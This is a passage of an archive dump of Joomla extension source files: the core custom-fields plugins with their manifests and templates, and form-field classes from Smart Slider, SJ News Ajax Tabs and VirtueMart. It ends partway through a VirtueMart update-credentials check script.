tag="en-GB">en-GB/en-GB.plg_fields_repeatable.ini</language> <language tag="en-GB">en-GB/en-GB.plg_fields_repeatable.sys.ini</language> </languages> </extension> sql/params/sql.xml 0000644 00000001223 15234411537 0010152 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="query" type="textarea" label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL" description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC" filter="raw" rows="10" required="true" /> <field name="multiple" type="list" label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> sql/tmpl/sql.php 0000644 00000001754 15234411537 0007643 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Sql * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $db = JFactory::getDbo(); $value = (array) $value; $condition = ''; foreach ($value as $v) { if (!$v) { continue; } $condition .= ', ' . $db->q($v); } $query = $fieldParams->get('query', ''); // Run the query with a having condition because it supports aliases $db->setQuery($query . ' having value in (' . trim($condition, ',') . ')'); try { $items = $db->loadObjectlist(); } catch (Exception $e) { // If the query failed, we fetch all elements $db->setQuery($query); $items = $db->loadObjectlist(); } $texts = array(); foreach ($items as $item) { if (in_array($item->value, $value)) { $texts[] = $item->text; } } echo htmlentities(implode(', ', $texts)); sql/sql.php 0000644 00000003516 15234411537 0006665 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Sql * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Sql Plugin * * @since 3.7.0 */ class PlgFieldsSql extends FieldsListPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('value_field', 'text'); $fieldNode->setAttribute('key_field', 'value'); return $fieldNode; } /** * The save event. * * @param string $context The context * @param JTable $item The table * @param boolean $isNew Is new item * @param array $data The validated data * * @return boolean * * @since 3.7.0 */ public function onContentBeforeSave($context, $item, $isNew, $data = array()) { // Only work on new SQL fields if ($context != 'com_fields.field' || !isset($item->type) || $item->type != 'sql') { return true; } // If we are not a super admin, don't let the user create or update a SQL field if (!JAccess::getAssetRules(1)->allow('core.admin', JFactory::getUser()->getAuthorisedGroups())) { $item->setError(JText::_('PLG_FIELDS_SQL_CREATE_NOT_POSSIBLE')); return false; } return true; } } sql/sql.xml 0000644 00000002643 15234411537 0006676 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_sql</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_SQL_XML_DESCRIPTION</description> <files> <filename plugin="sql">sql.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_sql.ini</language> <language tag="en-GB">en-GB.plg_fields_sql.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="query" type="textarea" label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL" description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC" rows="10" filter="raw" required="true" /> <field name="multiple" type="radio" label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> text/params/text.xml 0000644 00000002055 15234411537 0010530 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> <field name="maxlength" type="number" label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC" filter="integer" /> </fieldset> </fields> </form> text/tmpl/text.php 0000644 00000000622 15234411537 0010206 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Text * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } echo htmlentities($value); text/text.php 0000644 00000000670 15234411537 0007235 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Text * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Text Plugin * * @since 3.7.0 */ class PlgFieldsText extends FieldsPlugin { } text/text.xml 0000644 00000003473 15234411537 0007252 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_text</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_TEXT_XML_DESCRIPTION</description> <files> <filename plugin="text">text.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_text.ini</language> <language tag="en-GB">en-GB.plg_fields_text.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> <field name="maxlength" type="number" label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC" filter="integer" /> </fieldset> </fields> </config> </extension> textarea/params/textarea.xml 0000644 00000002671 15234411537 0012216 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="rows" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC" filter="integer" size="5" /> <field name="cols" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC" filter="integer" size="5" /> <field name="maxlength" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC" filter="integer" /> <field name="filter" type="list" label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> </fieldset> </fields> </form> textarea/tmpl/textarea.php 0000644 00000000550 15234411537 0011670 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Textarea * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } echo JHtml::_('content.prepare', $value); textarea/textarea.php 0000644 00000000704 15234411537 0010715 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Textarea * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Textarea Plugin * * @since 3.7.0 */ class PlgFieldsTextarea extends FieldsPlugin { } textarea/textarea.xml 0000644 00000004423 15234411537 0010730 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_textarea</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_TEXTAREA_XML_DESCRIPTION</description> <files> <filename plugin="textarea">textarea.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_textarea.ini</language> <language tag="en-GB">en-GB.plg_fields_textarea.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="rows" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC" default="10" filter="integer" size="5" /> <field name="cols" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC" default="10" filter="integer" size="5" /> <field name="maxlength" type="number" label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC" filter="integer" /> <field name="filter" type="list" label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> <option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option> <option value="integer">JLIB_FILTER_PARAMS_INTEGER</option> <option value="float">JLIB_FILTER_PARAMS_FLOAT</option> <option value="tel">JLIB_FILTER_PARAMS_TEL</option> </field> </fieldset> </fields> </config> </extension> url/params/url.xml 0000644 00000001560 15234411537 0010164 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="schemes" type="list" label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL" description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC" multiple="true" > <option value="http">HTTP</option> <option value="https">HTTPS</option> <option value="ftp">FTP</option> <option value="ftps">FTPS</option> <option value="file">FILE</option> <option value="mailto">MAILTO</option> </field> <field name="relative" type="list" label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL" description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> url/tmpl/url.php 0000644 00000001042 15234411537 0007637 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.URL * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $attributes = ''; if (!JUri::isInternal($value)) { $attributes = ' rel="nofollow noopener noreferrer" target="_blank"'; } echo sprintf('<a href="%s"%s>%s</a>', htmlspecialchars($value), $attributes, htmlspecialchars($value) ); url/url.php 0000644 00000002144 15234411537 0006667 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.URL * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields URL Plugin * * @since 3.7.0 */ class PlgFieldsUrl extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('validate', 'url'); if (! $fieldNode->getAttribute('relative')) { $fieldNode->removeAttribute('relative'); } return $fieldNode; } } url/url.xml 0000644 00000003205 15234411537 0006677 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_url</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_URL_XML_DESCRIPTION</description> <files> <filename plugin="url">url.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_url.ini</language> <language tag="en-GB">en-GB.plg_fields_url.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="schemes" type="list" label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL" description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC" multiple="true" > <option value="http">HTTP</option> <option value="https">HTTPS</option> <option value="ftp">FTP</option> <option value="ftps">FTPS</option> <option value="file">FILE</option> <option value="mailto">MAILTO</option> </field> <field name="relative" type="radio" label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL" description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC" class="btn-group btn-group-yesno" default="1" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> user/params/user.xml 0000644 00000000600 15234411537 0010506 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <field name="default_value" type="user" label="PLG_FIELDS_USER_DEFAULT_VALUE_LABEL" description="PLG_FIELDS_USER_DEFAULT_VALUE_DESC" /> <fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL"> <fieldset name="basic"> <field name="show_on" type="hidden" filter="unset" /> </fieldset> </fields> </form> user/tmpl/user.php 0000644 00000001230 15234411537 0010166 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.User * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $value = (array) $value; $texts = array(); foreach ($value as $userId) { if (!$userId) { continue; } $user = JFactory::getUser($userId); if ($user) { // Use the Username $texts[] = $user->name; continue; } // Fallback and add the User ID if we get no JUser Object $texts[] = $userId; } echo htmlentities(implode(', ', $texts)); user/user.php 0000644 00000002004 15234411537 0007212 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.User * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields User Plugin * * @since 3.7.0 */ class PlgFieldsUser extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { if (JFactory::getApplication()->isClient('site')) { // The user field is not working on the front end return; } return parent::onCustomFieldsPrepareDom($field, $parent, $form); } } user/user.xml 0000644 00000001422 15234411537 0007226 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_user</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_USER_XML_DESCRIPTION</description> <files> <filename plugin="user">user.php</filename> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_user.ini</language> <language tag="en-GB">en-GB.plg_fields_user.sys.ini</language> </languages> </extension> usergrouplist/params/usergrouplist.xml 0000644 00000000735 15234411537 0014441 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> usergrouplist/tmpl/usergrouplist.php 0000644 00000001245 15234411537 0014116 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Usergrouplist * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php'); $value = (array) $value; $texts = array(); $groups = UsersHelper::getGroups(); foreach ($groups as $group) { if (in_array($group->value, $value)) { $texts[] = htmlentities(trim($group->text, '- ')); } } echo htmlentities(implode(', ', $texts)); usergrouplist/usergrouplist.php 0000644 00000000723 15234411537 0013142 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Usergrouplist * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Usergrouplist Plugin * * @since 3.7.0 */ class PlgFieldsUsergrouplist extends FieldsPlugin { } usergrouplist/usergrouplist.xml 0000644 00000002440 15234411537 0013151 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_usergrouplist</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_USERGROUPLIST_XML_DESCRIPTION</description> <files> <filename plugin="usergrouplist">usergrouplist.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_usergrouplist.ini</language> <language tag="en-GB">en-GB.plg_fields_usergrouplist.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> fields.php 0000644 00000010140 15234456433 0006530 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Content.Fields * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die(); /** * Plug-in to show a custom field in eg an article * This uses the {fields ID} syntax * * @since 3.7.0 */ class PlgContentFields extends JPlugin { /** * Plugin that shows a custom field * * @param string $context The context of the content being passed to the plugin. * @param object &$item The item object. Note $article->text is also available * @param object &$params The article params * @param int $page The 'page' number * * @return void * * @since 3.7.0 */ public function onContentPrepare($context, &$item, &$params, $page = 0) { // If the item has a context, overwrite the existing one if ($context == 'com_finder.indexer' && !empty($item->context)) { $context = $item->context; } elseif ($context == 'com_finder.indexer') { // Don't run this plugin when the content is being indexed and we have no real context return; } // Don't run if there is no text property (in case of bad calls) or it is empty if (empty($item->text)) { return; } // Simple performance check to determine whether bot should process further if (strpos($item->text, 'field') === false) { return; } // Register FieldsHelper JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); // Prepare the text if (isset($item->text)) { $item->text = $this->prepare($item->text, $context, $item); } // Prepare the intro text if (isset($item->introtext)) { $item->introtext = $this->prepare($item->introtext, $context, $item); } } /** * Prepares the given string by parsing {field} and {fieldgroup} groups and replacing them. * * @param string $string The text to prepare * @param string $context The context of the content * @param object $item The item object * * @return string * * @since 3.8.1 */ private function prepare($string, $context, $item) { // Search for {field ID} or {fieldgroup ID} tags and put the results into $matches. $regex = '/{(field|fieldgroup)\s+(.*?)}/i'; preg_match_all($regex, $string, $matches, PREG_SET_ORDER); if (!$matches) { return $string; } $parts = FieldsHelper::extract($context); if (count($parts) < 2) { return $string; } $context = $parts[0] . '.' . $parts[1]; $fields = FieldsHelper::getFields($context, $item, true); $fieldsById = array(); $groups = array(); // Rearranging fields in arrays for easier lookup later. foreach ($fields as $field) { $fieldsById[$field->id] = $field; $groups[$field->group_id][] = $field; } foreach ($matches as $i => $match) { // $match[0] is the full pattern match, $match[1] is the type (field or fieldgroup) and $match[2] the ID and optional the layout $explode = explode(',', $match[2]); $id = (int) $explode[0]; $output = ''; if ($match[1] == 'field' && $id) { if (isset($fieldsById[$id])) { $layout = !empty($explode[1]) ? trim($explode[1]) : $fieldsById[$id]->params->get('layout', 'render'); $output = FieldsHelper::render( $context, 'field.' . $layout, array( 'item' => $item, 'context' => $context, 'field' => $fieldsById[$id] ) ); } } else { if ($match[2] === '*') { $match[0] = str_replace('*', '\*', $match[0]); $renderFields = $fields; } else { $renderFields = isset($groups[$id]) ? $groups[$id] : ''; } if ($renderFields) { $layout = !empty($explode[1]) ? trim($explode[1]) : 'render'; $output = FieldsHelper::render( $context, 'fields.' . $layout, array( 'item' => $item, 'context' => $context, 'fields' => $renderFields ) ); } } $string = preg_replace("|$match[0]|", addcslashes($output, '\\$'), $string, 1); } return $string; } } fields.xml 0000644 00000001561 15234456433 0006550 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <extension version="3.7.0" type="plugin" group="content" method="upgrade"> <name>plg_content_fields</name> <author>Joomla! Project</author> <creationDate>February 2017</creationDate> <copyright>(C) 2017 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_CONTENT_FIELDS_XML_DESCRIPTION</description> <files> <filename plugin="fields">fields.php</filename> </files> <languages> <language tag="en-GB">en-GB.plg_content_fields.ini</language> <language tag="en-GB">en-GB.plg_content_fields.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> </fieldset> </fields> </config> </extension> editslider.php 0000644 00000000254 15234537734 0007423 0 ustar 00 <?php use Nextend\SmartSlider3\Platform\Joomla\Module\Field\FieldEditSlider; defined('_JEXEC') or die; class_alias(FieldEditSlider::class, 'JFormFieldEditSlider'); index.html 0000644 00000000037 15234537734 0006556 0 ustar 00 <!DOCTYPE html><title></title> sjheading.php 0000644 00000001220 15234551026 0007207 0 ustar 00 <?php /** * @package Sj News Ajax Tabs * @version 3.1.0 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL * @copyright (c) 2012 YouTech Company. All Rights Reserved. * @author YouTech Company http://www.smartaddons.com * */ defined('_JEXEC') or die; if (!class_exists('JFormFieldSjHeading')){ class JFormFieldSjHeading extends JFormField{ public function getInput(){ return ''; } public function getLabel(){ return '<label style="width: 100%; max-width: 100%; padding: 5px 0 0 0; border-bottom: solid 1px #003399; color: #003399; font-weight: bold;">' . $this->element['label'] . '</label>'; } }; } vmlengthunit.php 0000644 00000001715 15234554226 0010015 0 ustar 00 <?php defined('_JEXEC') or die(); /** * * @package VirtueMart * @subpackage Plugins - Fields * @author Reinhold Kainhofer, Open Tools * @link http://www.open-tools.net * @copyright Copyright (c) 2014 Reinhold Kainhofer. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.txt * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); class JFormFieldVmLengthUnit extends JFormField { var $_name = 'vmLengthUnit'; protected function getInput() { return ShopFunctions::renderLWHUnitList($this->name, $this->value); } } vmupdatecredentialscheck.php 0000644 00000010304 15234554226 0012324 0 ustar 00 <?php defined('_JEXEC') or die(); /** * * @package VirtueMart * @subpackage Plugins - Fields * @author Reinhold Kainhofer, Open Tools * @link http://www.open-tools.net * @copyright Copyright (c) 2016 Reinhold Kainhofer. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.txt * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); if (!class_exists( 'VmConfig' )) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); class JFormFieldVmUpdateCredentialsCheck extends JFormField { var $_name = 'vmUpdateCredentialsCheck'; protected function getJavaScript() { return " var credentials_ajaxurl = \"".$this->element["ajaxurl"]."\"; var credentials_updateMessages = function(messages, area) { jQuery( \"#system-message-container #system-message .\"+area+\"-message\").remove(); var newmessages = jQuery( messages ).find(\"div.alert, .message\").addClass(area+\"-message\"); if (!jQuery( \"#system-message-container #system-message\").length && newmessages.length) { if (jQuery(newmessages).first().prop(\"tagName\")==\"dt\") { // Joomla 2.x: jQuery( \"#system-message-container\" ).append( \"<dl id=\'system-message\'></div>\" ); } else { jQuery( \"#system-message-container\" ).append( \"<div id=\'system-message\'></div>\" ); } } newmessages.appendTo( \"#system-message-container #system-message\"); }; var checkUpdateCredentialsError = function() { alert (\"".JText::_('OPENTOOLS_CHECK_CREDENTIALS_ERROR')."\"); } var checkUpdateCredentials = function () { var ordernumber = jQuery('#jform_params_order_number').val(); var orderpass = jQuery('#jform_params_order_pass').val(); var ajaxargs = { type: \"POST\", dataType: \"text\", url: credentials_ajaxurl, data: { action: \"check_update_access\", order_number: ordernumber, order_pass: orderpass }, success: function ( json ) { try { json = jQuery.parseJSON(json); credentials_updateMessages(json['messages'], 'ordernumber'); } catch (e) { checkUpdateCredentialsError(); return; } var success=0; if (json.success>0) { success=1; } jQuery('#update_credentials_hidden_checked').val(success); jQuery('.credentials_checked') .removeClass('credentials_checked_0') .removeClass('credentials_checked_1') .addClass('credentials_checked_'+success); }, error: function() { checkUpdateCredentialsError(); }, complete: function() { }, }; jQuery.ajax(ajaxargs); }; jQuery(document).ready (function () { jQuery('#jform_params_order_number').focusout(checkUpdateCredentials); 